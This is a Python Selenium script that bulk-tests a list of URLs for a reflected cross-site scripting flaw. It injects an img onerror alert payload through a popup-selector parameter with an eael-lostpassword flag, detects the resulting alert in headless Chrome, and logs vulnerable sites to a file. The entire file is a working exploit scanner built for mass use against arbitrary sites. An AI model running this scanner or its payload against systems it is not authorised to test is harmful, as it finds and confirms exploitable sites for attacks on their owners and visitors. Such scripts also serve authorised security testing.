import sys import time import os from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.chrome.service import Service from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.common.alert import Alert from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException, UnexpectedAlertPresentException, NoAlertPresentException, WebDriverException # By Chirag Artani # Suppress DevTools and Selenium messages import logging from selenium.webdriver.remote.remote_connection import LOGGER LOGGER.setLevel(logging.WARNING) # Suppress Chrome console output os.environ['WDM_LOG_LEVEL'] = '0' # Suppress WebDriver Manager logs os.environ['WDM_PRINT_FIRST_LINE'] = 'False' # Don't print WebDriver Manager first line def check_xss(url): # Configure Chrome options chrome_options = Options() chrome_options.add_argument("--headless") chrome_options.add_argument("--disable-gpu") chrome_options.add_argument("--no-sandbox") chrome_options.add_argument("--disable-dev-shm-usage") chrome_options.add_argument("--ignore-certificate-errors") chrome_options.add_argument("--ignore-ssl-errors") chrome_options.add_argument("--log-level=3") # Suppress Chrome console messages chrome_options.add_experimental_option('excludeSwitches', ['enable-logging']) # Suppress WebDriver logs # Create payload URL payload_url = f"{url}?popup-selector=%3Cimg_src=x_onerror=alert(%22chirgart%22)%3E&eael-lostpassword=1" # Initialize the WebDriver with webdriver-manager try: driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()), options=chrome_options) driver.set_page_load_timeout(10) # 10 seconds timeout for page load except Exception as e: print(f"[ERROR] Failed to initialize WebDriver: {str(e).split('\\n')[0]}") return False try: print(f"Testing URL: {url}") # Only print the base URL, not the full payload # Navigate to the page try: driver.get(payload_url) except TimeoutException: print(f"[TIMEOUT] Page load timed out: {url}") return False except Exception as e: # Get only the first line of the error message error_msg = str(e).split('\n')[0] print(f"[ERROR] Failed to load page: {error_msg}") return False # Wait for a few seconds for any JavaScript to execute time.sleep(3) # Check if an alert is present try: WebDriverWait(driver, 3).until(EC.alert_is_present()) alert = driver.switch_to.alert alert_text = alert.text alert.accept() if "chirgart" in alert_text: print(f"[VULNERABLE] XSS confirmed on {url}") with open("found-vuln-fully.txt", "a") as f: f.write(f"{url}\n") return True except (TimeoutException, NoAlertPresentException): print(f"[NOT VULNERABLE] No XSS alert detected on {url}") return False except UnexpectedAlertPresentException: print(f"[VULNERABLE] XSS confirmed on {url} (unexpected alert)") with open("found-vuln-fully.txt", "a") as f: f.write(f"{url}\n") return True except WebDriverException as e: error_msg = str(e).split('\n')[0] # Get only the first line print(f"[ERROR] WebDriver error: {error_msg}") return False except Exception as e: error_msg = str(e).split('\n')[0] # Get only the first line print(f"[ERROR] Unexpected error: {error_msg}") return False finally: # Clean up try: driver.quit() except: pass return False if __name__ == "__main__": # Check if file with URLs is provided as argument if len(sys.argv) < 2: print("Usage: python check.py ") sys.exit(1) input_arg = sys.argv[1] # Check if the argument is a file if input_arg.endswith('.txt'): # Process URLs from file try: with open(input_arg, "r", encoding="utf-8") as f: urls = [line.strip() for line in f.readlines() if line.strip()] print(f"Loaded {len(urls)} URLs to test") vulnerable_count = 0 error_count = 0 timeout_count = 0 for i, url in enumerate(urls): # Remove trailing slash if present if url.endswith("/"): url = url[:-1] print(f"[{i+1}/{len(urls)}] Testing: {url}") try: is_vulnerable = check_xss(url) if is_vulnerable: vulnerable_count += 1 except TimeoutException: timeout_count += 1 print(f"[TIMEOUT] Request timed out for {url}") except Exception as e: error_msg = str(e).split('\n')[0] print(f"[ERROR] Failed to test {url}: {error_msg}") error_count += 1 # Add a small delay between requests time.sleep(0.5) print(f"\nCompleted testing {len(urls)} URLs") print(f"Found {vulnerable_count} vulnerable sites (saved to found-vuln-fully.txt)") print(f"Encountered {error_count} errors and {timeout_count} timeouts") except Exception as e: error_msg = str(e).split('\n')[0] print(f"Error processing file: {error_msg}") else: # Process single URL url = input_arg if url.endswith("/"): url = url[:-1] check_xss(url)